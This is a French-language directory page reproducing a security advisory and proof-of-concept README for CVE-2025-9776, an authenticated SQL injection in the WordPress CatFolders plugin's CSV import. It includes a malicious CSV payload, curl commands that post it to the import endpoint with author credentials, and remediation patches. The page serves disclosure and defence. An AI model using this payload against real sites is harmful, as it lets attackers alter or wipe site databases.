Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-9776 — CVE-2025-9776 — Plugin WordPress CatFolders : Injection SQL authentifiée via l'import CSV | POC + Procédure pas à pas | Kitploit
Outils/GitHubGitHub/snailsploit/cve-2025-9776
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — Plugin WordPress CatFolders : Injection SQL authentifiée via l'import CSV | POC + Procédure pas à pas

Voir le dépôt
18il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-9776 : Injection SQL authentifiée dans le plugin WordPress CatFolders

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Mots-clés : CVE-2025-9776, vulnérabilité WordPress CatFolders, injection SQL WordPress, injection SQL authentifiée, sécurité WordPress, vulnérabilité d'import CSV, exploit de plugin WordPress, CWE-89, attaque de base de données WordPress, vulnérabilité de médiathèque, WordPress CVE 2025

Table des matières

  • Présentation
  • Détails de la vulnérabilité
  • Analyse technique
  • Preuve de concept
  • Guide de correction
  • Métriques CVSS
  • Références
  • Contact sécurité

Présentation

Une vulnérabilité d'injection SQL authentifiée a été découverte dans le plugin WordPress CatFolders, permettant aux utilisateurs de niveau Auteur de manipuler des requêtes de base de données via des importations CSV malveillantes.

Découvert par : Kai Aizen (SnailSploit)
Publié : 2025
Score CVSS : 6.5 (Moyen)
CWE : CWE-89 - Injection SQL

Détails de la vulnérabilité

Description

CatFolders – Tame Your WordPress Media Library by Category contient une vulnérabilité d'injection SQL authentifiée dans la fonctionnalité d'import CSV. La colonne attachments d'un CSV fourni par l'utilisateur est divisée en une liste et passée directement à FolderModel::set_attachments(), qui concatène ces valeurs dans des clauses IN (...) SQL brutes sans échappement ni paramétrage appropriés.

Impact

Cette vulnérabilité permet à des attaquants authentifiés disposant de privilèges de niveau Auteur de :

  • Exécuter des requêtes SQL arbitraires
  • Supprimer ou manipuler en masse les associations dossier-pièce jointe
  • Exposer potentiellement des données selon la charge utile et la structure de la base de données
  • Compromettre l'intégrité et la disponibilité de la base de données

Versions concernées

  • Vulnérables : Toutes les versions ≤ 2.5.2
  • Corrigées : Version 2.5.3 et ultérieures (vérifier auprès de l'éditeur)

Métriques CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
MétriqueValeur
Vecteur d'attaqueRéseau (AV:N)
Complexité d'attaqueFaible (AC:L)
Privilèges requisFaible (PR:L) - Auteur+
Interaction utilisateurAucune (UI:N)
PérimètreInchangé (S:U)
ConfidentialitéAucune (C:N)
IntégritéFaible (I:L)
DisponibilitéFaible (A:L)

Analyse technique

Chemin de code vulnérable

La vulnérabilité existe dans le flux d'import CSV :

Fichier : includes/Rest/Controllers/ImportController.php

  1. La méthode import_csv analyse le CSV téléchargé sans échappement par champ
  2. restore_folders() appelle :
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

Fichier : includes/Models/FolderModel.php

  1. set_attachments() construit une requête SQL brute par concaténation de chaînes :
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. Chaque élément n'est pas converti en entier ni paramétré, permettant une injection SQL

Vecteur d'attaque

Un attaquant disposant de privilèges de niveau Auteur (capacité upload_files) peut injecter du SQL malveillant via le point de terminaison d'import CSV :

Charge utile CSV malveillante :

id,name,attachments
1,Test Folder,"1) OR 1=1--"

Requête vulnérable résultante :

SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

Cela sort de la clause IN(...) et modifie la sémantique de la requête, affectant potentiellement toutes les lignes.

Prérequis

  • Compte de niveau Auteur (ou supérieur) sur le site WordPress cible
  • Plugin CatFolders installé et actif
  • Accès au point de terminaison d'import de l'API REST

Preuve de concept

Étape 1 : Découvrir l'espace de noms REST

curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

Résultat typique : /catf/v1/import-csv

Étape 2 : Préparer le CSV malveillant

Créez un fichier nommé catf_inject.csv :

id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

Étape 3 : Exécuter l'attaque

NS="/catf/v1"  # Remplacer par l'espace de noms découvert

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

Réponse attendue :

{ "success": true }

Démonstration d'impact

Le serveur construit et exécute :

SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

Cela peut effectuer des opérations DELETE/INSERT plus larges que prévu, effaçant souvent les relations dossier-pièce jointe sur l'ensemble de la base de données.

Environnement de test sécurisé

Exécutez la simulation SQLite autonome pour observer la vulnérabilité en toute sécurité :

python3 poc/catfolders_sql_poc.py

Ceci affiche la requête vulnérable et montre comment un jeton malveillant renvoie toutes les lignes, tandis qu'une version paramétrée le rejette correctement.

Correction

Pour les administrateurs de sites

Action immédiate requise :

  1. Mettre à jour CatFolders vers la version 2.5.3 ou ultérieure
  2. Vérifier les comptes utilisateurs disposant de privilèges de niveau Auteur ou supérieur
  3. Auditer les journaux de base de données pour détecter les requêtes suspectes entre les dates concernées
  4. Vérifier les associations dossier-pièce jointe pour d'éventuelles modifications inattendues

Pour les développeurs

Deux étapes minimales de durcissement :

1. Échapper les identifiants avant d'appeler le modèle

- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. Forcer les entiers dans set_attachments()

  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

Recommandation plus forte

Remplacez toutes les concaténations SQL brutes par des requêtes paramétrées utilisant $wpdb->prepare() de WordPress :

$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

En outre :

  • Valider strictement tous les champs CSV avant traitement
  • Mettre en œuvre une validation de type d'entrée au niveau de l'API
  • Ajouter une limitation de débit au point de terminaison d'import
  • Journaliser toutes les opérations d'import pour les pistes d'audit

Fichier de correctif

Un correctif complet est disponible dans patch/catfolders_fix.patch

Structure du dépôt

CVE-2025-9776/
├── README.md                    # Ce fichier
├── poc/
│   ├── catf_inject.csv         # Charge utile CSV malveillante
│   └── catfolders_sql_poc.py   # Simulation SQLite sécurisée
└── patch/
    └── catfolders_fix.patch    # Correctifs recommandés
## Chronologie
Télécharger l’outil